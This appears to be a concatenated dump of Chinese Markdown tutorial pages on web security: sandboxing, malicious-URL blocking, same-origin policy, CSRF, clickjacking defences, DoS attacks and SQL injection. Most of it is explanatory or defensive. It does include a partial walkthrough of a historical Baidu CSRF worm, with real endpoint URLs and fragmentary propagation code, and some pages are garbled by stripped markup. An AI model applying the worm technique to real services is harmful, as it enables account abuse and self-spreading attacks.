的代名词。Sandbox的设计目的一般是为了不让不可信任的代码运行在一定的环境中, 26 | 限制不可信任的代码访问隔离区之外的资源。如果一定要跨越 Sandbox边界产生数据交换,则只能通过指定的数据通道,比如经过封装的API来完成,在这些API中会严格检查请求的合法性。 27 | 28 | Sandbox的应用范围非常广泛。比如一个提供 hosting 服务的共享主机环境,假设支持用户上传PHP、Python、Java等语言的代码,为了防止用户代码破坏系统环境,或者是不同用户之间的代码相互影响,则应该设计一个 Sandbox 对用户代码进行隔离。Sandbox 需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求,可以采用默认拒绝的策略,对于有需要的请求,则可以通过封装API的方式实现。 29 | 30 | Google Chrome 实现了一个相对完整的 Sandbox: 31 | 32 | ![Google Sandbox](img/Sandbox-1.png) 33 | 34 | 浏览器安全是一个整体,在现今的浏览器中,虽然有很多进程架构和 Sandbox的保护,但是浏览器所加载的一些第三方插件却往往不受 Sandbox 管辖。近年来的浏览器漏洞往往都是由于加载的第三方插件出现安全漏洞导致的。 -------------------------------------------------------------------------------- /docs/content/Browser_Security/Malicious-URL-interception.md: -------------------------------------------------------------------------------- 1 | # Malicious URL interception 2 | 3 | 恶意网址拦截 4 | 5 | --- 6 | 7 | ## 恶意网址黑名单 8 | 9 | 为了保护用户安全,浏览器厂商纷纷推出了各自的拦截恶意网址功能。目前各个浏览器的拦截恶意网址的功能都是基于黑名单的。恶意网址拦截的工作原理很简单,一般都是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单,如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。 10 | 11 | ![Malicious URL](img/Malicious-1.png) 12 | 13 | 常见的恶意网址分为两类:一类是挂马网站,这些网站通常包含有恶意的脚本如JavaScript或 Flash,通过利用浏览器的漏洞(包括一些插件、控件漏洞)执行 shellcode,在用户电脑中植入木马;另一类是钓鱼网站,通过模仿知名网站的相似页面来欺骗用户。 14 | 15 | 要识别这两种网站,需要建立许多基于页面特征的模型,而这些模型显然是不适合放在客户端的,因为这会让攻击者得以分析、研究并绕过这些规则。同时对于用户基数巨大的浏览器来说,收集用户访问过的历史记录也是一种侵犯隐私的行为,且数据量过于庞大。 16 | 17 | 基于这两个原因,浏览器厂商目前只是以推送恶意网址黑名单为主,浏览器收到黑名单后,对用户访问的黑名单进行拦截;而很少直接从浏览器收集数据,或者在客户端建立模型。现在的浏览器多是与专业的安全厂商展开合作,由安全厂商或机构提供恶意网址黑名单。 18 | 19 | ##EV SSL 证书 20 | 21 | 除了恶意网址黑名单拦截功能外,主流浏览器都开始支持 EV SSL证书(Extended Validation SSL Certificate),以增强对安全网站的识别。 22 | 23 | EVSSL证书是全球数字证书颁发机构与浏览器厂商一起打造的增强型证书,其主要特色是浏览器会给予EV SSL证书特殊待遇。EV SSL证书也遵循X509标准,并向前兼容普通证书。如果浏览器不支持EV模式,则会把该证书当做普通证书;如果浏览器支持EV模式,则会在地址栏中特别标注。 24 | 25 | 左边的是普通证书,右边的是EV证书: 26 | 27 | ![EV SSL](img/Malicious-2.png) 28 | 29 | 使用了EV 证书,在地址栏也会有醒目的“绿色”标识,以对抗钓鱼网站。 -------------------------------------------------------------------------------- /docs/content/Browser_Security/Same-Origin-Policy.md: -------------------------------------------------------------------------------- 1 | # Same Origin Policy 2 | 3 | 浏览器同源策略 4 | 5 | --- 6 | 7 | ## 同源策略基本介绍 8 | 9 | 同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能会受到影响。可以说Web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。 10 | 11 | **浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。** 12 | 13 | 例如下图就是Chrome的同源策略限制: 14 | 15 | ![Same Origin Policy](img/Same-Origin-Policy-1.png) 16 | 17 | 这一策略是极其重要的,试想如果没有同源策略,可能 a.com 的一段 JavaScript 脚本,在 b.com 未曾加载此脚本时,也可以随意涂改 b.com 的页面(在浏览器的显示中)。为了不让浏览器的页面行为发生混乱,浏览器提出了“Origin”(源)这一概念,来自不同 Origin的对象无法互相干扰。 18 | 对于JavaScript来说,以下情况被认为是同源与不同源的: 19 | 20 | URL | OutCome | Reason 21 | --------------------------------------- | -------------------- | ------------------------ 22 | http://test.icehoney.me/test1.html | Success | 23 | http://test.icehoney.me/dir1/test2.html | Success | 24 | https://test.icehoney.me/secure.html | Failure | Different protocol 25 | http://test.icehoney.me:81/secure.html | Failure | Different port 26 | http://blog.icehoney.me/secure.html | Failure | Different host 27 | 28 | 由上表可知,影响“源”的因素有:host(域名或IP地址,如果是IP地址则看做一个根域名)、子域名、端口、协议。 29 | 30 | 需要注意的是,对于当前页面来说,页面内存放JavaScript文件的域并不重要,重要的是加载JavaScript页面所在的域是什么。 31 | 32 | 例如,在 baidu.com上有以下代码: 33 | 34 | 35 | 36 | baidu加载了google的ga.js,但是ga.js是运行在baidu.com页面中的,因此对于当前打开的页面(baidu.com页面)来说,ga.js的Origin就应该是baidu.com而非google.com。 37 | 38 | 在浏览器中,` 68 | 69 | ##CSRF Worm 70 | 71 | 2008年9月,国内的安全组织80sec公布了一个百度的CSRF worm 72 | 73 | 漏洞出现在百度用户中心的发送短消息功能中: 74 | 75 | http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co=消息内容 76 | 77 | 只需要修改参数sn,即可对指定的用户发送短消息。而百度的另外一个接口则能查询出某个用户的所有好友: 78 | 79 | http://frd.baidu.com/?ct=28&un=用户账户&cm=FriList&tn=bmABCFriList&callback=gotfriends 80 | 81 | 将两者结合起来,可以组合成一个CSRFworm——让一个百度用户查看恶意页面后,将给他的好友发送一条短消息,然后这条短消息中又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次执行上一个操作。 82 | 83 | Step 1: 84 | 85 | var lsURL=window.location.href; 86 | loU = lsURL.split(“?”); 87 | if(loU.length>1) 88 | { 89 | var loallPm = loU[1].split(“&”); 90 | .... 91 | 92 | 定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取感染蠕虫的用户名和感染者好友的用户名。 93 | 94 | Step 2: 95 | 96 | var gotfriends = function (x) 97 | { 98 | for(i=0;i’); 104 | 105 | 通过CSRF漏洞从远程加载受害者的好友tom数据,根据该接口的tom数据格式,提取好友数据为蠕虫的传播流程做准备。 106 | 107 | Step 3:感染信息输出和消息发送的核心部分。 108 | 109 | 这个蠕虫很好地展示了CSRF的破坏性--即使没有XSS漏洞,仅仅依靠CSRF,也能够发起大规模蠕虫攻击。 110 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Click Jacking defence.md~: -------------------------------------------------------------------------------- 1 | # Click Jacking Injection 2 | 3 | Click Jacking Injection 4 | 5 | --- 6 | 7 | ##一、Frame Busting 8 | 通常写一段代码禁止JavaScript代码,以禁止iframe嵌套。如可写下列一段代码: 9 | 10 | if(top.location!=location) 11 | top.location=self.location; 12 | 13 | 常见的Frame Busting有以下形式: 14 | 15 | if (top != self) 16 | if (top.location != self.location) 17 | if (top.location != location) 18 | if (parent.frames.length > 0) 19 | if (window != top) 20 | if (window.top !== window.self) 21 | if (window.self != window.top) 22 | if (parent && parent != window) 23 | if (parent && parent.frames && parent.frames.length>0) 24 | if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) 25 | top.location = self.location 26 | top.location.href = document.location.href 27 | top.location.href = self.location.href 28 | top.location.replace(self.location) 29 | top.location.href = window.location.href 30 | top.location.replace(document.location) 31 | top.location.href = window.location.href 32 | top.location.href = "URL" 33 | document.write('') 34 | top.location = location 35 | top.location.replace(document.location) 36 | top.location.replace('URL') 37 | top.location.href = document.location 38 | top.location.replace(window.location.href) 39 | top.location.href = location.href 40 | self.parent.location = document.location 41 | parent.location.href = self.document.location 42 | top.location.href = self.location 43 | top.location = window.location 44 | top.location.replace(window.location.pathname) 45 | window.top.location = window.self.location 46 | setTimeout(function(){document.body.innerHTML='';},1); 47 | window.self.onload = function(evt){document.body.innerHTML='';} 48 | var url = window.location.href; top.location.replace(url) 49 | 50 | 但是Frame Busting也有很多缺陷,由于它是JavaScript写的,控制能力不是特别强,因此有很多方法绕过它。 51 | 52 | ##二、X-Frame-Options 53 | X-Frame-Options HTTP 响应头,可以指示浏览器是否应该加载一个iframe中的页面。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。 54 | 1、X-FRAME-OPTIONS 55 | X-Frame-Options共有三个值: 56 | DENY 57 | 任何页面都不能被嵌入到iframe或者frame中。 58 | SAMEORIGIN 59 | 页面只能被本站页面嵌入到iframe或者frame中。 60 | ALLOW-FROM URI 61 | 页面自能被指定的Uri嵌入到iframe或frame中。 62 | 63 | 2、APACHE配置X-FRAME-OPTIONS 64 | 在站点配置文件httpd.conf中添加如下配置,限制只有站点内的页面才可以嵌入iframe。 65 | Header always append X-Frame-Options SAMEORIGIN 66 | 配置之后重启apache使其生效。该配置方式对IBM HTTP Server同样适用。 67 | 如果同一apache服务器上有多个站点,只想针对一个站点进行配置,可以修改.htaccess文件,添加如下内容: 68 | Header append X-FRAME-OPTIONS "SAMEORIGIN" 69 | 70 | 3、NGINX 配置X-FRAME-OPTIONS 71 | 到 nginx/conf文件夹下,修改nginx.conf ,添加如下内容: 72 | add_header X-Frame-Options "SAMEORIGIN"; 73 | 重启Nginx服务。 74 | 75 | 4、IIS配置X-FRAME-OPTIONS 76 | 在web站点的web.config中配置: 77 | 78 | 79 | 80 |  ... 81 | 82 | 83 |    84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | ... 92 | 93 | 94 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Click_Jacking.md: -------------------------------------------------------------------------------- 1 | # Click Jacking 2 | 3 | 点击劫持 一个视觉欺骗手段 4 | 5 | --- 6 | 7 | 8 | ##flash点击劫持 9 | 例:clickJacking攻击:当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器,除非你使用 lynx 一类的字符浏览器。这个漏洞与 JavaScript 无关,即使你关闭浏览器的 JavaScript功能也无能为力。事实上这是浏览器工作原理中的一个缺陷,无法通过简单的补丁解决。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上任意东西。 10 | 11 | 如果这还不能让你恐慌的话,想想这样的情形,一个用户在被攻击的时候将毫不知情而且束手无策:比如在 Ebay,因为可以嵌入 JavaScript,虽然攻击并不需要 JavaScript,但可以让攻击更容易进行。只用 lynx 字符浏览器才能保护你自己,同时不要任何动态的东西。该漏洞用到 DHTML,使用防 frame 代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些 Flash 游戏将首当其冲。 12 | 13 | 据 Hansen 讲,他们已经同微软以及 Mozilla 谈论过这个问题,然而他们均表示这是个非常棘手的问题,目前没有简单的解决办法。Grossman 确切表示,微软最新的 IE8 和 Mozilla 最新的 Firefox 3 均不能幸免。 14 | 15 | 当前,唯一的办法是禁用浏览器的脚本和插件功能。 16 | 17 | ##图片覆盖攻击 18 | 页面中的logo图像被覆盖了,并指向某钓鱼网站,XSIO不同于CSS。它利用图片的style,或者能控制CSS。如果应用没有限制style的position为absolute的话,图片就可以覆盖到页面的任何位置,形成点击劫持。 19 | 例:百度空间 20 | 21 | 22 | 24 | 25 | 26 | 图片可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思,在这种情况下,不需要用户点击,也能达到欺骗的目的。由于``标签在很多系统是对用户开放的,因此在现在中有很多站点存在被XSIO攻击的可能。 27 | 28 | ##拖拽劫持与数据窃取 29 | 目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说,拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略限制的。 30 | "拖拽劫持"的思路是诱使用户从隐藏的不可见iframe中"拖拽"出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。 31 | 在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型的"拖拽劫持"能够造成更大的破坏。 32 | 33 | ##触屏劫持(TapJacking) 34 | 一次触屏操作,可能会对应一下几个事件: 35 | 36 | touchstart,手指触摸屏幕时发生; 37 | touchend,手指离开屏幕时发生; 38 | touchmove,手指滑动时发生; 39 | touchcancel,系统可取消touch事件; 40 | 41 | 通过将一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。 42 | ![TapJacking](img/TapJacking.jpg) 43 | 而手机的屏幕范围有限,手机浏览器为了节约空间,甚至掩藏了地址栏,因此手机上的视觉欺骗可能会变得更加容易实施。 44 | 45 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Click_Jacking.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | 8 | ## 1 flash点击劫持: 9 | 例:clickJacking攻击:当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器,除非你使用 lynx 一类的字符浏览器。这个漏洞与 JavaScript 无关,即使你关闭浏览器的 JavaScript 功能也无能为力。事实上这是浏览器工作原理中的一个缺陷,无法通过简单的补丁解决。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上任意东西。 10 | 如果这还不能让你恐慌的话,想想这样的情形,一个用户在被攻击的时候将毫不知情而且束手无策: 11 | 比如在 Ebay,因为可以嵌入 JavaScript,虽然攻击并不需要 JavaScript,但可以让攻击更容易进行。只用 lynx 字符浏览器才能保护你自己,同时不要任何动态的东西。该漏洞用到 DHTML,使用防 frame 代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些 Flash 游戏将首当其冲。 12 | 据 Hansen 讲,他们已经同微软以及 Mozilla 谈论过这个问题,然而他们均表示这是个非常棘手的问题,目前没有简单的解决办法。 13 | Grossman 确切表示,微软最新的 IE8 和 Mozilla 最新的 Firefox 3 均不能幸免。 14 | 当前,唯一的办法是禁用浏览器的脚本和插件功能。 15 | 16 | ## 2 图片覆盖攻击: 17 | 页面中的logo图像被覆盖了,并指向某钓鱼网站,XSIO不同于CSS。它利用图片的style,或者能控制CSS。如果应用没有限制style的position为absolute的话,图片就可以覆盖到页面的任何位置,形成点击劫持。 18 | 例:百度空间 19 | 20 | 21 | 23 | 24 | 25 | 图片可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思,在这种情况下,不需要用户点击,也能达到欺骗的目的。由于标签在很多系统是对用户开放的,因此在现在中有很多站点存在被XSIO攻击的可能。 26 | 27 | ## 3 拖拽劫持与数据窃取 28 | 目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说,拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略限制的。 29 | "拖拽劫持"的思路是诱使用户从隐藏的不可见iframe中"拖拽"出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。 30 | 在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型的"拖拽劫持"能够造成更大的破坏。 31 | 32 | ## 4 触屏劫持(TapJacking) 33 | 一次触屏操作,可能会对应一下几个事件: 34 | touchstart,手指触摸屏幕时发生; 35 | touchend,手指离开屏幕时发生; 36 | touchmove,手指滑动时发生; 37 | touchcancel,系统可取消touch事件; 38 | 通过将一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。 39 | ![TapJacking](img/TapJacking.jpg) 40 | 而手机的屏幕范围有限,手机浏览器为了节约空间,甚至掩藏了地址栏,因此手机上的视觉欺骗可能会变得更加容易实施。 41 | 42 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Click_Jacking_defence.md: -------------------------------------------------------------------------------- 1 | # Click Jacking 2 | 3 | 点击劫持 一个视觉欺骗手段 4 | 5 | 6 | --- 7 | 8 | ##Frame Busting 9 | 通常写一段代码禁止JavaScript代码,以禁止iframe嵌套。如可写下列一段代码: 10 | 11 | if(top.location!=location) 12 | top.location=self.location; 13 | 14 | 常见的Frame Busting有以下形式: 15 | 16 | if (top != self) 17 | if (top.location != self.location) 18 | if (top.location != location) 19 | if (parent.frames.length > 0) 20 | if (window != top) 21 | if (window.top !== window.self) 22 | if (window.self != window.top) 23 | if (parent && parent != window) 24 | if (parent && parent.frames && parent.frames.length>0) 25 | if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) 26 | top.location = self.location 27 | top.location.href = document.location.href 28 | top.location.href = self.location.href 29 | top.location.replace(self.location) 30 | top.location.href = window.location.href 31 | top.location.replace(document.location) 32 | top.location.href = window.location.href 33 | top.location.href = "URL" 34 | document.write('') 35 | top.location = location 36 | top.location.replace(document.location) 37 | top.location.replace('URL') 38 | top.location.href = document.location 39 | top.location.replace(window.location.href) 40 | top.location.href = location.href 41 | self.parent.location = document.location 42 | parent.location.href = self.document.location 43 | top.location.href = self.location 44 | top.location = window.location 45 | top.location.replace(window.location.pathname) 46 | window.top.location = window.self.location 47 | setTimeout(function(){document.body.innerHTML='';},1); 48 | window.self.onload = function(evt){document.body.innerHTML='';} 49 | var url = window.location.href; top.location.replace(url) 50 | 51 | 但是Frame Busting也有很多缺陷,由于它是JavaScript写的,控制能力不是特别强,因此有很多方法绕过它。 52 | 53 | ##X-Frame-Options 54 | X-Frame-Options HTTP 响应头,可以指示浏览器是否应该加载一个iframe中的页面。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。 55 | 56 | ##X-FRAME-OPTIONS 57 | X-Frame-Options共有三个值: 58 | 59 | DENY 60 | 任何页面都不能被嵌入到iframe或者frame中。 61 | SAMEORIGIN 62 | 页面只能被本站页面嵌入到iframe或者frame中。 63 | ALLOW-FROM URI 64 | 页面自能被指定的Uri嵌入到iframe或frame中。 65 | 66 | ##APACHE配置X-FRAME-OPTIONS 67 | 在站点配置文件httpd.conf中添加如下配置,限制只有站点内的页面才可以嵌入iframe。 68 | Header always append X-Frame-Options SAMEORIGIN 69 | 配置之后重启apache使其生效。该配置方式对IBM HTTP Server同样适用。 70 | 如果同一apache服务器上有多个站点,只想针对一个站点进行配置,可以修改.htaccess文件,添加如下内容: 71 | Header append X-FRAME-OPTIONS "SAMEORIGIN" 72 | 73 | ##NGINX 配置X-FRAME-OPTIONS 74 | 到 nginx/conf文件夹下,修改nginx.conf ,添加如下内容: 75 | add_header X-Frame-Options "SAMEORIGIN"; 76 | 重启Nginx服务。 77 | 78 | ##IIS配置X-FRAME-OPTIONS 79 | 在web站点的web.config中配置: 80 | 81 | 82 | 83 |  ... 84 | 85 | 86 | 87 | 88 | 89 | 90 | ... 91 | 92 | 93 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Overview.md: -------------------------------------------------------------------------------- 1 | # Click Jacking 2 | 3 | 点击劫持 一个视觉欺骗手段 4 | 5 | --- 6 | 7 | ## 点击劫持概述 8 | 点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,用户在该网页上进行操作,并在不知情的情况下点击透明的iframe界面。通过调整透明的iframe的位置,可以诱使用户恰好点击在iframe上某些功能性按钮上。 9 | 10 | 点击劫持原理如下图所示: 11 | ![ClickJacking](img/ClickJacking.jpg) 12 | 13 | 14 | ##点击劫持特征 15 | 点击劫持是一种恶意攻击技术,用于跟踪网络用户,获取其私密信息或者通过让用户点击看似正常的网页来远程控制其电脑。很多浏览器和操作平台都有这样的漏洞。 16 | 17 | 点击劫持技术可以用嵌入代码或者文本的形式出现,在用户毫不知情的情况下完成攻击,比如点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /docs/content/Clickjacking/Overview.md~: -------------------------------------------------------------------------------- 1 | # Click Jacking 2 | 3 | 点击劫持——一个视觉欺骗手段 4 | --- 5 | 6 | ## 点击劫持概述 7 | 点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,用户在该网页上进行操作,并在不知情的情况下点击透明的iframe界面。 8 | 通过调整透明的iframe的位置,可以诱使用户恰好点击在iframe上某些功能性按钮上。 9 | 点击劫持原理如下图所示: 10 | ![ClickJacking](img/ClickJacking.jpg) 11 | 12 | ##点击劫持特征 13 | 1、点击劫持是一种恶意攻击技术,用于跟踪网络用户,获取其私密信息或者通过让用户点击看似正常的网页来远程控制其电脑。很多浏览器和操作平台都有这样的漏洞。 14 | 2、点击劫持技术可以用嵌入代码或者文本的形式出现,在用户毫不知情的情况下完成攻击,比如点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/content/DOS/Overviewed.md: -------------------------------------------------------------------------------- 1 | # 拒绝服务攻击 # 2 | 3 | Denial of Service 4 | 5 | --- 6 | 7 | ## 基本原理 # 8 | DoS攻击的主要目的是降低或剥夺目标系统的可用性,因此,凡是可以达到该目的之行为都可以忍位是DoS攻击。这种攻击既可以是物理攻击,比如拔掉网络接口、尖端网络通信线路、关闭电源等,也可以是**对目标信息系统的攻击**。 9 | 10 | DoS攻击不以获得系统的访问权为目的,其基本原理是**利用缺陷(或漏洞)耗尽目标系统及网络的可用资源、或使系统崩溃**。 11 | 12 | --- 13 | 14 | ## 历史发展 # 15 | 1990年代中晚期的DoS攻击主要利用操作系统或应用软件的漏洞,比如早期的TCP/IP协议栈存在IP碎片漏洞,构造特定的IP碎片就可以摧毁系统;由于现在可以被利用的协议漏洞越来越少,**现代DoS试图耗尽目标系统(通信层和应用层)的全部能力**,使得它无法为合法用户提供服务(或不能及时提供服务)。 16 | 17 | --- 18 | 19 | ## 基本方法 # 20 | 拒绝服务攻击一直是计算机网络安全领域的顽疾,究其原因,不外乎两条: 21 | 1. DoS攻击方法简单有效,其攻击效果立竿见影,不需要很高的技术就可以发动DoS攻击; 22 | 2. 这一类的共计达多利用了网络协议(TCP/IP协议)实现中的错误、缺陷或不一致性,因为具有通用性。即使目标系统的软件没有编程漏洞,也可以攻击。 23 | 24 | ### 带宽耗用 # 25 | * 攻击者因为有更多的可用带宽而能够造成受害者网络的拥塞。比如一个拥有100Mbps带宽的攻击者造成2Mbps网络链路的拥塞,即**较大的管道淹没较小的管道**。 26 | * 攻击者通过**征用多个网点集中拥塞受害者的网络**,以放大他么的DoS攻击效果。比如,分布在不同区域的100个具有2Mbps的攻击代理同时发起攻击,足以使拥有100Mbps的服务器失去响应能力。 27 | 28 | ### 资源衰竭 # 29 | * 任何信息系统拥有的资源都是有限的。为了保持正常的运行状态,系统必须具有足够的资源。如果**某个进程或用户耗尽了系统的资源**,则其他用户就无法使用系统。从其他用户角度来看,对该系统的可用性被剥夺了。 30 | * 这种攻击方式被称为资源衰竭攻击,既可以用于远程攻击,也可以用于本地攻击。 31 | * 一般来说,**资源衰竭DoS攻击设计诸如CPU利用率、内存、文件系统限额和系统进程总数之类系统资源的消耗**。攻击者往往拥有一定数量系统资源的合法访问权,然而他们会滥用这种访问权消耗额外的资源。这么一来,系统或合法用户就被剥夺了原来享有的资源份额。 32 | * 资源衰竭DoS攻击通常会因为系统崩溃、文件系统变满或进程被挂起等原因而导致资源的不可利用。 33 | 34 | ### 系统或编程缺陷 # 35 | * 程序是人设计的,就不可能完全没有错误。这些错误体现在软件终究成为了缺陷,如果该缺陷可被利用,则成为了漏洞。比如,利用缓冲区溢出漏洞就可以使目标进程崩溃。 36 | * 应当指出的是,系统中的某些安全功能如果使用不当,也可以造成拒绝服务。比如,如果系统设置了用户试探口令次数,当用户无法在指定的次数内输入正确口令则锁定用户,则攻击者可以利用这一点故意多次输入错误口令而锁定合法用户。 -------------------------------------------------------------------------------- /docs/content/DOS/general-dos.md: -------------------------------------------------------------------------------- 1 | # 通用的DoS攻击技术 # 2 | General DoS Attack 3 | 4 | --- 5 | 6 | 有些DoS攻击能影响许多不同类型的系统,这些DoS攻击成为通用的(generic)DoS攻击。带宽耗用和资源衰竭攻击是典型的通用DoS攻击。由于网络协议的实现一般遵循国际标准,如果网络协议存在缺陷,则遵循该标准的操作系统都会受影响。因此,通用DoS攻击大都利用网络协议进行攻击。 7 | 8 | 下面按TCP/IP的协议层次,分别介绍协议攻击技术的实现原理及实例。 9 | 10 | --- 11 | 12 | ## **应用层的DoS攻击** # 13 | 应用层DoS攻击的原理是在短期内简历大量合法的TCP连接,当连接数超出了目标服务器的上限,则新的连接将无法建立,从而拒绝为合法用户提供服务。攻击者必须拥有比目标更多的资源,否则相当于让自己停止服务。 14 | 15 | 比如,对于只能同时支持10000个在线用户 的服务器,如果攻击者陆续发起20000个连接并保持住成功的连接,则足以让其他用户无法连接服务器。 16 | 17 | 为了成功实现应用层的DoS攻击,必须对被攻击的应用作深入分析,**找出其脆弱点并加以利用**。 18 | 19 | --- 20 | 21 | ## **传输层的DoS攻击** # 22 | 23 | 如果向服务器发送大量伪造IP地址的TCP连接请求,则由于IP地址是伪造的,无法完成最后一次握手,这样在服务器中有大量的半开连接,侵占了服务器的资源。如果在超时时限内的半开连接超过了上限,则服务器将无法响应新的正常连接。这种攻击方式成为SYN Flood攻击。SYN Flood攻击是当前最流行的DoS(拒绝服务攻击)与DDoS(分布是拒绝服务攻击)的方式之一。 24 | 25 | 一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用netstat命令能看到大量的SYN RCVD的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。 26 | 27 | --- 28 | 29 | ## **网络层的DoS攻击** # 30 | 31 | 在网络层实施DoS攻击主要利用的IP协议的脆弱性。如果**滥用IP广播和组播协议**,将人为导致网络拥塞,从而导致拒绝服务攻击。 32 | 33 | ***Smur*f攻击**是最著名的网络层DoS攻击,它以最初发动这种攻击的程序名Smurf来命名。Smurf结合使用了IP欺骗和ICMP回应请求,使大量的ICMP回应报文充斥目标系统。由于目标系统优先处理ICMP消息,目标将因忙于处理ICMP回应报文而无法及时处理其他的网络服务,从而拒绝为合法用户提供正常的系统服务。 34 | 35 | Smurf攻击因为启发大相国而成为最具有破坏行的DoS攻击之一。这种放大效果是向一个网络上的多个系统刚发送定向的ICMP request请求,这些系统连接着对这种求情做出响应。 36 | 37 | Smurf攻击利用了定向广播技术,需要至少三个部分:**攻击者、放大网络(也称为反弹网络或站点)和受害者**。攻击者向放大网络的广播地址发送源地址未造成受害者IP地址的ICMP返回请求分组,这样看起来是受害者的主机发起了这些请求,导致放大网络上所有的系统都将对受害者的系统作出响应。如果一个攻击者给一个拥有100台主机的放大网络发送单个ICMP分组,那么DoS攻击的放大效果将会有100倍。 38 | 39 | Smurf攻击的前提:路由器接收到这个发送给IP广播地址的分组后,会认为这就是广播分组。这样路由器从因特网上接到该分组,会对本地网段中的所有主机进行广播。 40 | 41 | 网段中的所有主机都会向**欺骗分组的IP地址**发送echo响应。如果这是一个很大的以太网段,可以会有几百个主机对收到的echo请求进行回复。 42 | 43 | 由于多数系统都会尽快的处理ICMP传输信息,Attackers把分组的源地址设置为目标系统的IP地址,目标系统很快就会被大量的echo回应信息吞没,这样轻而易举地就能阻止该系统处理其他任何网络传输,从而拒绝为正常系统提供服务。 44 | -------------------------------------------------------------------------------- /docs/content/SQL_injection/Overview.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ## SQL注入原理 8 | 9 | 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 10 | 11 | SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 12 | ![SQL Injection](img/SQL_Injection.jpg) 13 | 14 | ## SQL注入攻击 15 | 16 | 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:不当的类型处理、不安全的数据库配置、不合理的查询集处理、不当的错误处理、转义字符处理不合适、多个提交处理不当。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。 17 | 18 | 相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 19 | -------------------------------------------------------------------------------- 